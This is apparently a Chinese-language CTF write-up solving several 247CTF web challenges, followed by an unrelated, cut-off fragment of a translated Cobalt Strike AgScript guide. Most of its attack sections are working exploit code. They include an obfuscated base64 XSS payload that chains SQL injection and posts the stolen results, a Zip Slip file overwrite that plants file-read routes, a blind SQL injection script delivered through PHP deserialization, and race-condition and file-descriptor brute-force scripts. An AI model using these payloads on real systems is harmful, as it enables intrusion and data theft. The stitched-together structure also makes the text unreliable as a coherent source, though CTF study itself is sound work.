<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp2YXIgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsICIvc2VjcmV0X2FkbWluX3NlYXJjaCIsIHRydWUpOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp2YXIgcGFyYW1ldGVycyA9ICJzZWFyY2g9IiArIGVuY29kZVVSSSgiMSB1bmlvbiBzZWxlY3QgMSwyLDMsNCw1LDYtLSIpOwp4aHIuc2VuZChwYXJhbWV0ZXJzKTsKeGhyLm9ubG9hZCA9IGZ1bmN0aW9uKCl7CnZhciByZXNwb25zZWZyb21wYWdlID0geGhyLnJlc3BvbnNlOwp4aHIyLm9wZW4oIlBPU1QiLCIvY29tbWVudC8zIix0cnVlKTsKdmFyIHBhcmFtcyA9ICJjb21tZW50PSIgKyBlbmNvZGVVUkkoYnRvYShyZXNwb25zZWZyb21wYWdlKSk7CnhocjIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp4aHIyLnNlbmQocGFyYW1zKTt9"));></style>
得到结果
{"message":[[1,2,3,4,5,6],[1,"Michael Owens",14,22,3,"Sydney, Australia"]],"result":"success"}
然后就可以去联合注入了，可以看到flag在flag表中的flag字段
0 union select 1,2,3,4,name,sql from sqlite_master where type='table'--
{"message":[[0,"Administrator",100,100,100,"New York, USA"],[1,2,3,4,"comment","CREATE TABLE comment (id int, comment text)"],[1,2,3,4,"flag","CREATE TABLE flag (flag text)"],[1,2,3,4,"user","CREATE TABLE user (id int primary key, name text, friends int, likes int, shares int, location text)"]],"result":"success"}
直接用`-1 union select 1,2,3,4,5,flag from flag--`就可以了
var xhr = new XMLHttpRequest();
var xhr2 = new XMLHttpRequest();
xhr.open("POST", "/secret_admin_search", true);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
var parameters = "search=" + encodeURI("-1 union select 1,2,3,4,5,flag from flag--");
xhr.send(parameters);
xhr.onload = function(){
var responsefrompage = xhr.response;
xhr2.open("POST","/comment/3",true);
var params = "comment=" + encodeURI(btoa(responsefrompage));
xhr2.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr2.send(params);}
<style onload=eval(atob("dmFyIHhociA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp2YXIgeGhyMiA9IG5ldyBYTUxIdHRwUmVxdWVzdCgpOwp4aHIub3BlbigiUE9TVCIsICIvc2VjcmV0X2FkbWluX3NlYXJjaCIsIHRydWUpOwp4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC10eXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwp2YXIgcGFyYW1ldGVycyA9ICJzZWFyY2g9IiArIGVuY29kZVVSSSgiLTEgdW5pb24gc2VsZWN0IDEsMiwzLDQsNSxmbGFnIGZyb20gZmxhZy0tIik7Cnhoci5zZW5kKHBhcmFtZXRlcnMpOwp4aHIub25sb2FkID0gZnVuY3Rpb24oKXsKdmFyIHJlc3BvbnNlZnJvbXBhZ2UgPSB4aHIucmVzcG9uc2U7CnhocjIub3BlbigiUE9TVCIsIi9jb21tZW50LzMiLHRydWUpOwp2YXIgcGFyYW1zID0gImNvbW1lbnQ9IiArIGVuY29kZVVSSShidG9hKHJlc3BvbnNlZnJvbXBhZ2UpKTsKeGhyMi5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LXR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7CnhocjIuc2VuZChwYXJhbXMpO30="));></style>
结果
{"message":[[1,2,3,4,5,"247CTF{c9355024736f1fdfa121e243c7024540}"]],"result":"success"}
## ADMINISTRATIVE ORM——Hard
### 考点
* Flask代码审计
* uuid1()分析
### 描述
We started building a custom ORM for user management. Can you find any bugs
before we push to production?
### 题目分析
前面几行是对Flask和ORM的初始化。初始化USER为`admin`
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host
class ORM():
def __init__(self):
self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)
# ......
app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'
跟着路由走，在第一次访问之前，会初始化一个ORM对象，然后给admin设置一个随机密码，并用hash加盐加密
@app.before_first_request
def before_first():
app.config['ORM'] = ORM()
app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())
class ORM():
def __init__(self):
# ......
def set_password(self, user, password):
password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
self.update('update users set password=%s where username=%s', (password_hash, user))
然后来到主页，返回题目源码
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
访问`/statistics`会返回一些debug数据，这里出现`clock_seq`和`last_reset`的条件是先用错误的`reset_code`去访问`/update_password`，例如`/update_password?reset_code=13814000-1dd2-11b2-8000-0242ac110005&password=123456`
@app.route("/statistics") # TODO: remove statistics
def statistics():
return debug.statistics()
访问`/update_password`，要GET传参`reset_code`，要这个`reset_code`存在才可以修改密码，而它是由python的`uuid()`函数生成
@app.route("/update_password")
def update_password():
user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))
if user_row:
app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))
return "Password reset for %s!" % app.config['USER']
app.config['ORM'].set_reset_code(app.config['USER'])
return "Invalid reset code for %s!" % app.config['USER']
class ORM():
def get_by_reset_code(self, reset_code):
return self.query('select * from users where reset_code=%s', reset_code)
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
`/get_flag`是获取flag的逻辑，要输入的`password`和上面随机生成的相同才可以返回flag
@app.route("/get_flag")
def get_flag():
user_row = app.config['ORM'].get_by_name(app.config['USER'])
if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):
return flag
return "Invalid password for %s!" % app.config['USER']
class ORM():
def get_by_name(self, user):
return self.query('select * from users where username=%s', user)
这里用`uuid()`生成`reset_code`，那就去分析代码，看一下生成的条件
python中`uuid.uuid1()`的分析，将其中比较关键的逻辑拿出来看一看
发现需要三个参数，默认参数`node`为`None`是MAC地址的十进制数，`clock_seq`为`None`是一个随机生成的数字，`timestamp`为从
[epoch](https://docs.python.org/zh-cn/3/library/time.html#epoch)
开始的纳秒数，也就是`time.time()`乘以10的9次方。不过要注意的是，题目的时间是`GMT`的，比本地时间(北京时间)的时间戳多了`28800`秒
def uuid1(node=None, clock_seq=None):
# ...
import time
nanoseconds = time.time_ns()
timestamp = nanoseconds // 100 + 0x01b21dd213814000
# ...
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
# ...
return UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
最终生成`uuid`的代码
import time
import uuid
from decimal import *
def mac2int(mac):
return int(mac.replace(':', ''), 16)
def time2ns(time_str):
dt,ns = time_str.split(".")
timeArray = time.strptime(dt, "%Y-%m-%d %H:%M:%S")
timestamp = time.mktime(timeArray)
timestamp = int(timestamp)+28800
timestamp = str(timestamp)+'.'+str(ns)
return int(Decimal(timestamp)*1000*1000*1000)
def uuid1(node, clock_seq, ts):
timestamp = ts // 100 + 0x01b21dd213814000
time_low = timestamp & 0xffffffff
time_mid = (timestamp >> 32) & 0xffff
time_hi_version = (timestamp >> 48) & 0x0fff
clock_seq_low = clock_seq & 0xff
clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
clock_seq_hi_variant, clock_seq_low, node), version=1)
time_str = '2021-01-29 15:31:05.621730300'
timestamp = time2ns(time_str)
mac = '02:42:AC:11:00:05'
node = mac2int(mac)
clock_seq = 14138
UUID = uuid1(node, clock_seq, timestamp)
print(UUID)
这里结果是`008aa0d7-6247-11eb-b73a-0242ac110005`
然后访问`/update_password?reset_code=008aa0d7-6247-11eb-b73a-0242ac110005&password=1234`进行重置密码
最后访问`/get_flag?password=1234`获取flag即可
### 全部代码
import pymysql.cursors
import pymysql, os, bcrypt, debug
from flask import Flask, request
from secret import flag, secret_key, sql_user, sql_password, sql_database, sql_host
class ORM():
def __init__(self):
self.connection = pymysql.connect(host=sql_host, user=sql_user, password=sql_password, db=sql_database, cursorclass=pymysql.cursors.DictCursor)
def update(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
self.connection.commit()
def query(self, sql, parameters):
with self.connection.cursor() as cursor:
cursor.execute(sql, parameters)
result = cursor.fetchone()
return result
def get_by_name(self, user):
return self.query('select * from users where username=%s', user)
def get_by_reset_code(self, reset_code):
return self.query('select * from users where reset_code=%s', reset_code)
def set_password(self, user, password):
password_hash = bcrypt.hashpw(password, bcrypt.gensalt())
self.update('update users set password=%s where username=%s', (password_hash, user))
def set_reset_code(self, user):
self.update('update users set reset_code=uuid() where username=%s', user)
app = Flask(__name__)
app.config['DEBUG'] = False
app.config['SECRET_KEY'] = secret_key
app.config['USER'] = 'admin'
@app.route("/get_flag")
def get_flag():
user_row = app.config['ORM'].get_by_name(app.config['USER'])
if bcrypt.checkpw(request.args.get('password','').encode('utf8'), user_row['password'].encode('utf8')):
return flag
return "Invalid password for %s!" % app.config['USER']
@app.route("/update_password")
def update_password():
user_row = app.config['ORM'].get_by_reset_code(request.args.get('reset_code',''))
if user_row:
app.config['ORM'].set_password(app.config['USER'], request.args.get('password','').encode('utf8'))
return "Password reset for %s!" % app.config['USER']
app.config['ORM'].set_reset_code(app.config['USER'])
return "Invalid reset code for %s!" % app.config['USER']
@app.route("/statistics") # TODO: remove statistics
def statistics():
return debug.statistics()
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
@app.before_first_request
def before_first():
app.config['ORM'] = ORM()
app.config['ORM'].set_password(app.config['USER'], os.urandom(32).hex())
@app.errorhandler(Exception)
def error(error):
return "Something went wrong!"
if __name__ == "__main__":
app.run()
## SLIPPERY UPLOAD——Medium
### 考点
* [zip路径穿越](https://snyk.io/research/zip-slip-vulnerability)
### 描述
Can you abuse the zip upload and extraction service to gain code execution on
the server?
### 题目分析
前面几行进行了Flask的初始化
from flask import Flask, request
import zipfile, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['MAX_CONTENT_LENGTH'] = 1 * 1024 * 1024
app.config['UPLOAD_FOLDER'] = '/tmp/uploads/'
从路由入手
访问主页会得到题目源码
@app.route('/')
def source():
return '
%s
' % open('/app/run.py').read()
向`/zip_upload`上传文件会执行`zip_extract`函数进行解压
这里的上传文件可以用Postman去操作
为了绕过第一个`if`，就让上传的`name`属性是`zarchive`，上传的文件名是`zarchive.zip`
为了绕过第二个`if`，就把上传的文件的`content_type`改为`application/octet-stream`
这样就成功上传了文件，在`zip_extract`函数中实现了对上传文件的解压
def zip_extract(zarchive):
with zipfile.ZipFile(zarchive, 'r') as z:
for i in z.infolist():
with open(os.path.join(app.config['UPLOAD_FOLDER'], i.filename), 'wb') as f:
f.write(z.open(i.filename, 'r').read())
@app.route('/zip_upload', methods=['POST'])
def zip_upload():
try:
if request.files and 'zarchive' in request.files:
zarchive = request.files['zarchive']
if zarchive and '.' in zarchive.filename and zarchive.filename.rsplit('.', 1)[1].lower() == 'zip' and zarchive.content_type == 'application/octet-stream':
zpath = os.path.join(app.config['UPLOAD_FOLDER'], '%s.zip' % os.urandom(8).hex())
zarchive.save(zpath)
zip_extract(zpath)
return 'Zip archive uploaded and extracted!'
return 'Only valid zip archives are acepted!'
except:
return 'Error occured during the zip upload process!'
经过一番搜索，发现这里是存在`Zip Slip
Traversal`漏洞，由于没有对zip压缩包里面的filename进行过滤，会导致目录穿越，从而导致文件重写。在本题已经给出了脚本运行目录`/app/run.py`和上传目录`/tmp/uploads/`
|--app
| |--run.py
|--tmp
| |--uploads
| | |--zarchive.zip
先用Linux下的zip命令生成一个压缩包`zip hack.zip ../../app/run.py`
这个命令在`ttt`目录下执行，其目录结构如下。这样就会得到一个`hack.zip`
|--hack
| |--app
| | |--run.py
| | |--ttt
在python
shell中看一下`infolist()`，可以发现它的`filename`属性是`../../app/run.py`，而在本题的`zip_extract`函数中，它直接执行了`f.write(z.open(i.filename,
'r').read())`，根据上面的目录结构，这就会造成`run.py`的重写
|--app
| |--run.py
|--tmp
| |--uploads
| | |--zarchive.zip
到这本题思路就很清晰了
在本地复制粘贴run.py，加一点代码。`get_flag_path`用来列举目录，`get_flag`用于读取文件
@app.route('/flagpath', methods=['GET'])
def get_flag_path():
dicpath = request.args.get('path') or '/'
try:
dir_list = []
dirs = os.listdir(dicpath)
for i in dirs:
dir_list.append(i)
return ''.join(dir_list)
except:
return 'something error'
@app.route('/flag', methods=['GET'])
def get_flag():
flag_name = request.args.get('flag') or 'run.py'
try:
resflag = open(flag_name).read()
return resflag
except:
return 'something error'
在Linux中建立如下目录结构，在`ttt`目录下执行`zip zarchive.zip ../../app/run.py`得到`zarchive.zip`
|--hack
| |--app
| | |--run.py
| | |--ttt
使用Postman上传这个压缩包
访问`/`发现成功覆盖，然后访问`/flagpath?path=/app`得到flag路径，最后访问`/flag?flag=flag_33cd0604f65815a9375e2da04e1b8610.txt`读取flag
## CEREAL LOGGER——Medium
### 考点
* PHP反序列化=>sqlite3盲注
### 描述
Using a specially crafted cookie, you can write data to /dev/null. Can you
abuse the write and read the flag?
### 题目分析
首先是一个写入日志的`insert_log`类，里面实现了SQLite3数据库的`insert`操作。
然后获取cookie中`247`字段对应的内容，以`.`分割，后面的部分要弱等于`0`，前面的部分进行base64解码后再进行反序列化，然后写入到`/dev/null`，`/dev/null`是空设备文件，就是不显示任何信息
<?php
class insert_log
{
public $new_data = "Valid access logged!";
public function __destruct()
{
$this->pdo = new SQLite3("/tmp/log.db");
$this->pdo->exec("INSERT INTO log (message) VALUES ('".$this->new_data."');");
}
}
if (isset($_COOKIE["247"]) && explode(".", $_COOKIE["247"])[1].rand(0, 247247247) == "0") {
file_put_contents("/dev/null", unserialize(base64_decode(explode(".", $_COOKIE["247"])[0])));
} else {
echo highlight_file(__FILE__, true);
}
这里的SQL语句是完全可控的，也就是说这里是可能存在注入的。
请求时把cookie中`247`字段改为`TzoxMDoiaW5zZXJ0X2xvZyI6MTp7czo4OiJuZXdfZGF0YSI7czoxMDg6IjAnKTtzZWxlY3QgMSB3aGVyZSAxPShjYXNlIHdoZW4oc3Vic3RyKHNxbGl0ZV92ZXJzaW9uKCksMSwxKT0nMycpIHRoZW4gcmFuZG9tYmxvYigxMDAwMDAwMDAwKSBlbHNlIDAgZW5kKTstLSI7fQ==.0e`，发现返回502
这个payload内容如下
O:10:"insert_log":1:{s:8:"new_data";s:108:"0');select 1 where 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);--";}
相当于进行了sqlite时间盲注，由于这是sqlite3所以版本函数必定返回3开头，所以这里where后面必定是True，改成其他字符，返回200
INSERT INTO log (message) VALUES ('
0');select 1 where 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end);-- ');
由此可以发现，返回502说明正确，返回200说明错误，可以写盲注脚本了
import requests
import base64
import time
proxy = '127.0.0.1:30000'
proxies = {
'http': 'socks5://' + proxy,
'https': 'socks5://' + proxy
}
url = 'https://03644f6a6e290136.247ctf.com/'
def get_cookies(payload):
serial = 'O:10:"insert_log":1:{s:8:"new_data";s:'+str(len(payload))+':"'+payload+'";}'
res = base64.b64encode(serial.encode())
res = res.decode() + '.0e'
return res
def exp():
flag = ''
for i in range(1, 50):
low = 32
high = 126
mid = (low+high)//2
print(flag)
while low < high:
tmp = flag + chr(mid)
# payload = f"0');select 1 where 1=(case when(substr(sqlite_version(),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"
# payload = f"0');select 1 where 1=(case when(substr((select name from sqlite_master where type='table' limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"
# payload = f"0');select 1 where 1=(case when(substr((select name from PRAGMA_TABLE_INFO('flag') limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"
payload = f"0');select 1 where 1=(case when(substr((select flag from flag limit 0,1),1,{i})>'{tmp}') then randomblob(1000000000) else 0 end);--"
print(payload)
cookies = {
'247': get_cookies(payload),
}
r = requests.get(url=url,cookies=cookies,proxies=proxies)
code = r.status_code
if code == 200:
high = mid
if code == 502:
low = mid + 1
mid = (low+high)//2
if low == high:
flag = flag + chr(low)
break
exp()
## FORGOTTEN FILE POINTER——Medium
### 考点
* 文件包含Linux文件描述符
### 描述
We have opened the flag, but forgot to read and print it. Can you access it
anyway?
### 题目分析
很经典的文件包含题目
在Linux中，所有东西都是文件。用`fopen`函数打开`/tmp/flag.txt`，这时候会新建一个文件描述符指向`/tmp/flag.txt`。Linux下`/dev/fd`目录是记录用户打开的文件描述符，一般0代表标准输入，1代表标准输出。
题目长度限制不超过10，`/dev/fd/`总共是8位，那文件描述符的范围就是0-99，写个脚本爆破就可以了，最终flag在`/dev/fd/10`
题目名字也说了，被忘记的文件指针
<?php
$fp = fopen("/tmp/flag.txt", "r");
if($_SERVER['REQUEST_METHOD'] === 'GET' && isset($_GET['include']) && strlen($_GET['include']) <= 10) {
include($_GET['include']);
}
fclose($fp);
echo highlight_file(__FILE__, true);
?>
import requests
url = 'https://510c4020b266c259.247ctf.com/'
for i in range(0,100):
payload = f'?include=/dev/fd/{i}'
print(url+payload)
r = requests.get(url+payload)
print(r.text)
## ACID FLAG BANK——Easy
### 考点
* PHP代码审计
* 条件竞争代码审计
### 描述
You can purchase a flag directly from the ACID flag bank, however there aren’t
enough funds in the entire bank to complete that transaction! Can you identify
any vulnerabilities within the ACID flag bank which enable you to increase the
total available funds?
### 题目分析
首先给了`ChallDB`类，有一个`__construct`函数，初始化pdo和flag，其他的函数先不看。紧接着new一个`ChallDB`的实例化对象
class ChallDB
{
public function __construct($flag)
{
$this->pdo = new SQLite3('/tmp/users.db');
$this->flag = $flag;
}
}
$db = new challDB($flag);
下面来到输入数据的部分
如果GET参数`dump`，会执行`dumpUsers`函数，输出所有用户的信息
public function dumpUsers()
{
$result = $this->pdo->query("select id, funds from users");
echo "<pre>";
echo "ID FUNDS\n";
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
echo "{$row['id']} {$row['funds']}\n";
}
echo "</pre>";
}
如果GET参数`reset`，会执行`resetFunds`函数，将用户的信息重置
public function resetFunds()
{
$this->updateFunds(1, 247);
$this->updateFunds(2, 0);
return "Funds updated!";
}
public function updateFunds($id, $funds)
{
$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);
return $stmt->execute();
}
如果GET参数`flag`和`from`，会先执行`clean`函数对`from`进行清洗，然后执行`buyFlag`函数购买flag
`clean`函数将传入的`from`强制转换为数字，如果是浮点数就进行四舍五入，然后赋值给`$from`
`buyFlag`函数会先检测输入的用户id是否存在，再判断它的钱够不够`247`，够的话就返回flag
public function clean($x)
{
return round((int)trim($x));
}
public function buyFlag($id)
{
if ($this->validUser($id) && $this->getFunds($id) > 247) {
return $this->flag;
} else {
return "Insufficient funds!";
}
}
public function validUser($id)
{
$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
$row = $result->fetchArray(SQLITE3_ASSOC);
return $row['valid'] == true;
}
public function getFunds($id)
{
$stmt = $this->pdo->prepare('select funds from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
return $result->fetchArray(SQLITE3_ASSOC)['funds'];
}
如果GET参数`to`、`from`和`amount`，先执行`clean`函数对三个参数进行清洗，然后让`from`的用户金币减少`amount`个，让`to`的用户增加`amount`个，且`from`用户的金币要大于等于`amount`个。这个就相当于`from`从`to`那里买了价值`amount`的东西
$to = $db->clean($_GET['to']);
$from = $db->clean($_GET['from']);
$amount = $db->clean($_GET['amount']);
if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
echo "Funds transferred!";
} else {
echo "Invalid transfer request!";
}
这里check表面上看没什么问题，但是如果
1给2打钱和2给1打钱，同时在`$db->getFunds($from) >=
$amount`这个check前发生，那不就可以绕过这个check实现打钱，也就是条件竞争。这里有写好的工具：<https://github.com/TheHackerDev/race-the-web>
设置两个`requests`，参数分别填写`?to=1&from=2&amount=1`和`?to=2&from=1&amount=1`，再添加自己的cookie，最后启动工具跑就行了。跑完看一下`?dump`是否如下满足条件（任一用户金币大于247），满足的话就直接购买即可`?flag&from=1`
### 条件竞争方法
* <https://github.com/TheHackerDev/race-the-web>
* 自己写脚本(这个有问题)
#coding=utf-8
import io
import requests
import threading
header = {
'Cookie' : "_ga=GA1.2.1547995919.1611847143; __stripe_mid=32932a70-ec67-4b18-b1dc-af3638f802ab3ee642"
}
f = open('res.txt','w')
def check(session):
while True:
url1 = "https://54127da6b7dbd39f.247ctf.com/?dump"
res = session.get(url1,headers=header)
if ('1 0' in res.text) and ('2 0' in res.text):
url1 = "https://54127da6b7dbd39f.247ctf.com/?reset"
res = session.get(url1,headers=header)
def From1to2(session):
while True:
url1 = "https://54127da6b7dbd39f.247ctf.com/?to=2&from=1&amount=1"
res = session.get(url1,headers=header)
print(res.text.strip())
def From2to1(session):
while True:
url2 = "https://54127da6b7dbd39f.247ctf.com/?to=1&from=2&amount=1"
res = session.get(url2,headers=header)
print(res.text.strip())
def getFlag(session):
while True:
url1_flag = "https://54127da6b7dbd39f.247ctf.com/?flag&from=1"
url2_flag = 'https://54127da6b7dbd39f.247ctf.com/?flag&from=2'
res_1 = session.get(url1_flag,headers=header)
res_2 = session.get(url2_flag,headers=header)
if ('CTF' in res_1.text) or ('CTF' in res_2.text):
f.write(res_1.text)
f.write(res_2.text)
f.close()
exit()
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=From1to2,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=From2to1,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=getFlag,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=check,args=(session,)).start()
event.set()
### 全部代码
<?php
require_once('flag.php');
class ChallDB
{
public function __construct($flag)
{
$this->pdo = new SQLite3('/tmp/users.db');
$this->flag = $flag;
}
public function updateFunds($id, $funds)
{
$stmt = $this->pdo->prepare('update users set funds = :funds where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$stmt->bindValue(':funds', $funds, SQLITE3_INTEGER);
return $stmt->execute();
}
public function resetFunds()
{
$this->updateFunds(1, 247);
$this->updateFunds(2, 0);
return "Funds updated!";
}
public function getFunds($id)
{
$stmt = $this->pdo->prepare('select funds from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
return $result->fetchArray(SQLITE3_ASSOC)['funds'];
}
public function validUser($id)
{
$stmt = $this->pdo->prepare('select count(*) as valid from users where id = :id');
$stmt->bindValue(':id', $id, SQLITE3_INTEGER);
$result = $stmt->execute();
$row = $result->fetchArray(SQLITE3_ASSOC);
return $row['valid'] == true;
}
public function dumpUsers()
{
$result = $this->pdo->query("select id, funds from users");
echo "<pre>";
echo "ID FUNDS\n";
while ($row = $result->fetchArray(SQLITE3_ASSOC)) {
echo "{$row['id']} {$row['funds']}\n";
}
echo "</pre>";
}
public function buyFlag($id)
{
if ($this->validUser($id) && $this->getFunds($id) > 247) {
return $this->flag;
} else {
return "Insufficient funds!";
}
}
public function clean($x)
{
return round((int)trim($x));
}
}
$db = new challDB($flag);
if (isset($_GET['dump'])) {
$db->dumpUsers();
} elseif (isset($_GET['reset'])) {
echo $db->resetFunds();
} elseif (isset($_GET['flag'], $_GET['from'])) {
$from = $db->clean($_GET['from']);
echo $db->buyFlag($from);
} elseif (isset($_GET['to'],$_GET['from'],$_GET['amount'])) {
$to = $db->clean($_GET['to']);
$from = $db->clean($_GET['from']);
$amount = $db->clean($_GET['amount']);
if ($to !== $from && $amount > 0 && $amount <= 247 && $db->validUser($to) && $db->validUser($from) && $db->getFunds($from) >= $amount) {
$db->updateFunds($from, $db->getFunds($from) - $amount);
$db->updateFunds($to, $db->getFunds($to) + $amount);
echo "Funds transferred!";
} else {
echo "Invalid transfer request!";
}
} else {
echo highlight_file(__FILE__, true);
}
## COMPARE THE PAIR——Easy
### 考点
* PHP md5()弱比较
### 描述
Can you identify a way to bypass our login logic? MD5 is supposed to be a one-way function right?
### 题目分析
经典弱比较，PHP中两个`以0e为开头的数字`的字符串会被认为是科学计数法，找个字符串加盐之后md5是0e开头并且0e之后全为数字即可
<?php
require_once('flag.php');
$password_hash = "0e902564435691274142490923013038";
$salt = "f789bbc328a3d1a3";
if(isset($_GET['password']) && md5($salt . $_GET['password']) == $password_hash){
echo $flag;
}
echo highlight_file(__FILE__, true);
?>
用python多线程跑一下
import hashlib
import threading
salt = "f789bbc328a3d1a3"
def collision(start):
for i in range(start, start+1000000):
m = hashlib.md5()
s = salt + str(i)
m.update(s.encode())
r = m.hexdigest()
if r.startswith("0e") and r[2:].isdigit():
print(str(i)+ '=>' + s + '=>' + r)
ths = []
for i in range(1000):
tmp = i*1000000
t = threading.Thread(target=collision, args=(tmp,))
ths.append(t)
for i in ths:
i.start()
# 237701818=>f789bbc328a3d1a3237701818=>0e668271403484922599527929534016
主要是这个点
* 在PHP中，以`数字+e`开头，后面全是数字的字符串和数字比较时，会被认为是科学计数法，例如`0e`被识别成0
## SECURED SESSION——Easy考点
* Flask session解码
### 描述
If you can guess our random secret key, we will tell you the flag securely
stored in your session.
### 题目分析
先是对Flask的初始化，然后设置`SECRET_KEY`是长度24的随机字符串
import os
from flask import Flask, request, session
from flag import flag
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
访问`/`返回代码，访问`/flag`则是给出flag，可以看到给出flag的前提是要GET正确的`secret_key`
@app.route("/flag")
def index():
secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
session['flag'] = flag
if secret_key == app.config['SECRET_KEY']:
return session['flag']
else:
return "Incorrect secret key!"
在访问`/`对应的逻辑中，是没有对session的操作的，所以访问`/`是不会看到cookie的。先访问`/flag`就可以看到cookie，再用`flask-unsign`就可以解密session
这里我的cookie是`session=eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YBv1UQ.izmpPGtF3K1e9vZR6hYJRfMjRAU;
HttpOnly; Path=/`
直接解码
flask-unsign --decode --cookie eyJmbGFnIjp7IiBiIjoiTWpRM1ExUkdlMlJoT0RBM09UVm1PR0UxWTJGaU1tVXdNemRrTnpNNE5UZ3dOMkk1WVRreGZRPT0ifX0.YBv1UQ.i zmpPGtF3K1e9vZR6hYJRfMjRAU
{'flag': b'247CTF{da80795f8a5cab2e037d7385807b9a91}'}
### 全部代码
import os
from flask import Flask, request, session
from flag import flag
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(24)
def secret_key_to_int(s):
try:
secret_key = int(s)
except ValueError:
secret_key = 0
return secret_key
@app.route("/flag")
def index():
secret_key = secret_key_to_int(request.args['secret_key']) if 'secret_key' in request.args else None
session['flag'] = flag
if secret_key == app.config['SECRET_KEY']:
return session['flag']
else:
return "Incorrect secret key!"
@app.route('/')
def source():
return "
%s
" % open(__file__).read()
if __name__ == "__main__":
app.run()
## TRUSTED CLIENT——Easy
### 考点
* JSFuck
### 描述
Developers don’t always have time to setup a backend service when prototyping
code. Storing credentials on the client side should be fine as long as it’s
obfuscated right?
### 题目分析
根据题目可以看出来这是把登陆凭证存储在客户端，但是在请求头和返回头中并没有发现什么有用的信息，倒是有一段JSFuck。
把JSFuck复制出来直接解码就可以了，不过这里是个函数，就不要复制最后面的`()`了
## 参考
* <https://gusralph.info/exploiting-xss-for-sqli/>
* <https://snyk.io/research/zip-slip-vulnerability>
* <https://stackoverflow.com/questions/50849406/how-to-create-a-file-to-test-zip-slip-vulnerability-from-commandline> | 社区文章 |
翻译+实践
原文地址：
https://www.cobaltstrike.com/agscript-script/index.html
## 0x07 日志/计数器/窗口
### 事件日志
Cobalt Strike的运算符和脚本均将全局事件传递给共享事件日志，AgScripts也可以会对这些日志进行操作。
事件日志事件均以event_开头，使用event_notify可列出全局通知：
on event_notify {
println("I see: $1");
}
如需将消息输出到共享事件日志可使用`say`函数。
say("Hello World");
要发布重大事件或通知（不一定是聊天），请使用`elog`函数，如出现冲突信息服务器将自动为此信息添加时间戳并存储（比如登陆一个已登陆的账号），此类信息也将显示在Cobalt
Strike的活动报告中。
elog("system shutdown initiated");
### 计时器
利用AgScript可中的heartbeat_X可实现定期执行任务，其中X的值可以是1s，5s，10s，15s，30s，1m，5m，10m，15m，20m，30m或60m
on heartbeat_10s {
println("I happen every 10 seconds");
}
### 对话框
